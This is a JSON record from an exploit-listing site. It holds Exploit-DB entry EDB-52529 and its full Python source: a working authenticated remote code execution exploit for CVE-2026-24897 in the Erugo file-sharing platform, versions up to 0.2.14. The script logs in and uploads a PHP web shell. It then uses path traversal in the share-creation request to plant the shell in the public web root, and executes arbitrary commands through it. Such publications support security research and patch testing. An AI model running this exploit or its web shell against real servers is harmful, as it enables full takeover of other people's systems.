{"exploit":{"id":"EDB-52529","name":"Erugo 0.2.14 - Remote Code Execution (RCE)","description":"Erugo 0.2.14 - Remote Code Execution (RCE)","cves":["CVE-2026-24897"],"author":"abdulmoiz","published":"2026-04-30","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52529","path":"exploits/multiple/webapps/52529.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52529.py","vulnerabilities":[{"id":"CVE-2026-24897","state":"PUBLISHED","title":"Authenticated Remote Code Execution via Arbitrary File Upload","titleSource":"CVE Program","description":"Erugo is a self-hosted file-sharing platform. In versions up to and including 0.2.14, an authenticated low-privileged user can upload arbitrary files to any specified location due to insufficient validation of user‑supplied paths when creating shares. By specifying a writable path within the public web root, an attacker can upload and execute arbitrary code on the server, resulting in remote code execution (RCE). This vulnerability allows a low-privileged user to fully compromise the affected Erugo instance. Version 0.2.15 fixes the issue.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-24897","cvss":{"version":"3.1","baseScore":10,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-24897"},"updatedAt":"2026-01-29T16:54:12.343Z","retrievedAt":"2026-11-25T16:15:50.621Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52529.png?v=2","url":"https://exploitbin.com/exploits/EDB-52529","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52529/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52529/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Erugo <= 0.2.14 - Authenticated Remote Code Execution (RCE)\n# Date: 2026-02-02\n# Exploit Author: Abdul Moiz\n# Vendor Homepage: https://github.com/ErugoOSS/Erugo\n# Software Link: https://hub.docker.com/layers/wardy784/erugo/0.2.14/images/sha256-d3da70b337212a6c774b7028256870274edc2ac40536fcc0f1706cbbc4ed4fbf\n# Version: <= 0.2.14\n# Tested on: Linux (Docker)\n# CVE: CVE-2026-24897\n\nimport requests\nimport json\nimport sys\nimport time\nimport base64\nimport argparse\nimport random\nimport string\nimport warnings\nfrom datetime import datetime, timedelta, timezone\n\n# Disable SSL & Deprecation Warnings for clean output\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\nwarnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\nclass ErugoExploit:\n    def __init__(self, target, username, password):\n        self.target = target.rstrip(\"/\")\n        self.username = username\n        self.password = password\n        self.session = requests.Session()\n\n        # Standard Headers\n        self.session.headers.update({\n            \"User-Agent\": \"Mozilla/5.0 (Exploit-DB)\",\n            \"Accept\": \"application/json\",\n            \"Tus-Resumable\": \"1.0.0\"\n        })\n\n        # Generate a random 8-char filename to prevent collisions\n        rand_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))\n        self.shell_name = f\"{rand_str}.php\"\n        self.shell_content = '<?php system($_GET[\"cmd\"]); ?>'\n\n    def get_csrf(self):\n        \"\"\"Initialize session cookies\"\"\"\n        print(\"[*] Initializing session...\")\n        try:\n            self.session.get(f\"{self.target}/login\", verify=False, timeout=10)\n        except Exception as e:\n            print(f\"[-] Connection failed: {e}\")\n            sys.exit(1)\n\n    def login(self):\n        print(f\"[*] Authenticating as {self.username}...\")\n        url = f\"{self.target}/api/auth/login\"\n        data = {\"email\": self.username, \"password\": self.password}\n\n        try:\n            r = self.session.post(url, json=data, verify=False, timeout=10)\n            if r.status_code == 200:\n                token = r.json().get(\"data\", {}).get(\"access_token\")\n                if token:\n                    self.session.headers.update({\"Authorization\": f\"Bearer {token}\"})\n                    print(\"[+] Login Successful.\")\n                    return True\n        except Exception as e:\n            pass\n\n        print(\"[-] Login Failed. Check credentials.\")\n        sys.exit(1)\n\n    def upload_payload(self):\n        print(f\"[*] Uploading {self.shell_name} via Tus Protocol...\")\n\n        # 1. Tus Creation (POST)\n        post_url = f\"{self.target}/files/\"\n\n        # Base64 Encode metadata\n        filename_b64 = base64.b64encode(self.shell_name.encode()).decode()\n        filetype_b64 = base64.b64encode(b\"application/x-php\").decode()\n\n        headers = {\n            \"Upload-Length\": str(len(self.shell_content)),\n            \"Upload-Metadata\": f\"filename {filename_b64},filetype {filetype_b64}\"\n        }\n\n        try:\n            r = self.session.post(post_url, headers=headers, verify=False, timeout=10)\n            if r.status_code != 201:\n                print(f\"[-] Tus creation failed. Status: {r.status_code}\")\n                sys.exit(1)\n\n            location = r.headers.get(\"Location\")\n            file_id = location.split(\"/\")[-1]\n\n            # 2. Tus Data Transfer (PATCH)\n            patch_headers = {\n                \"Content-Type\": \"application/offset+octet-stream\",\n                \"Upload-Offset\": \"0\"\n            }\n\n            r = self.session.patch(location, headers=patch_headers, data=self.shell_content, verify=False, timeout=10)\n\n            if r.status_code == 204:\n                print(f\"[+] Payload uploaded. ID: {file_id}\")\n                return file_id\n            else:\n                print(f\"[-] Data upload failed. Status: {r.status_code}\")\n                sys.exit(1)\n\n        except Exception as e:\n            print(f\"[-] Upload error: {e}\")\n            sys.exit(1)\n\n    def trigger_path_traversal(self, file_id):\n        print(\"[*] Creating malicious share...\")\n        url = f\"{self.target}/api/uploads/create-share-from-uploads\"\n\n        # Fix Date Warning: Use timezone-aware UTC\n        tomorrow = datetime.now(timezone.utc) + timedelta(days=1)\n        expiry = tomorrow.strftime(\"%Y-%m-%dT%H:%M:%S.000Z\")\n\n        payload = {\n            \"upload_id\": \"exploit\",\n            \"name\": \"exploit_share\",\n            \"recipients\": [],\n            \"uploadIds\": [file_id],\n            \"filePaths\": {\n                 # VULNERABILITY: Path Traversal\n                 file_id: f\"../../../../../public/{self.shell_name}\"\n            },\n            \"expiry_date\": expiry,\n            \"password\": \"\",\n            \"password_confirm\": \"\"\n        }\n\n        try:\n            r = self.session.post(url, json=payload, verify=False, timeout=10)\n            if r.status_code not in [200, 201]:\n                print(f\"[-] Share creation failed. Status: {r.status_code}\")\n                print(f\"    Response: {r.text}\")\n                sys.exit(1)\n            print(\"[+] Malicious share created.\")\n        except Exception as e:\n            print(f\"[-] Error creating share: {e}\")\n            sys.exit(1)\n\n    def execute_command(self, cmd):\n        shell_url = f\"{self.target}/{self.shell_name}\"\n        print(f\"[*] Executing command: '{cmd}' at {shell_url}\")\n\n        time.sleep(1) # Wait for filesystem sync\n\n        try:\n            r = self.session.get(shell_url, params={\"cmd\": cmd}, verify=False, timeout=10)\n\n            if r.status_code == 200:\n                print(\"\\n\" + \"=\"*50)\n                print(f\"COMMAND OUTPUT:\")\n                print(r.text.strip())\n                print(\"=\"*50 + \"\\n\")\n            else:\n                print(f\"[-] Command failed. Status: {r.status_code}\")\n        except Exception as e:\n            print(f\"[-] Execution error: {e}\")\n\ndef main():\n    parser = argparse.ArgumentParser(description='Erugo <= 0.2.14 Authenticated RCE')\n    parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://localhost:9998)')\n    parser.add_argument('-u', '--username', required=True, help='User email')\n    parser.add_argument('-p', '--password', required=True, help='User password')\n    parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')\n\n    args = parser.parse_args()\n\n    exploit = ErugoExploit(args.target, args.username, args.password)\n\n    exploit.get_csrf()\n    exploit.login()\n    fid = exploit.upload_payload()\n    exploit.trigger_path_traversal(fid)\n    exploit.execute_command(args.command)\n\nif __name__ == \"__main__\":\n    main()","sha256":"ade8d0379e4c9a89d39f87f1b19d4ad193b3ec402478de24018ae5529dea781a","bytes":6727,"fetchedAt":"2026-11-26T11:17:14.190Z","encoding":"utf-8 (display only; download retains original bytes)"}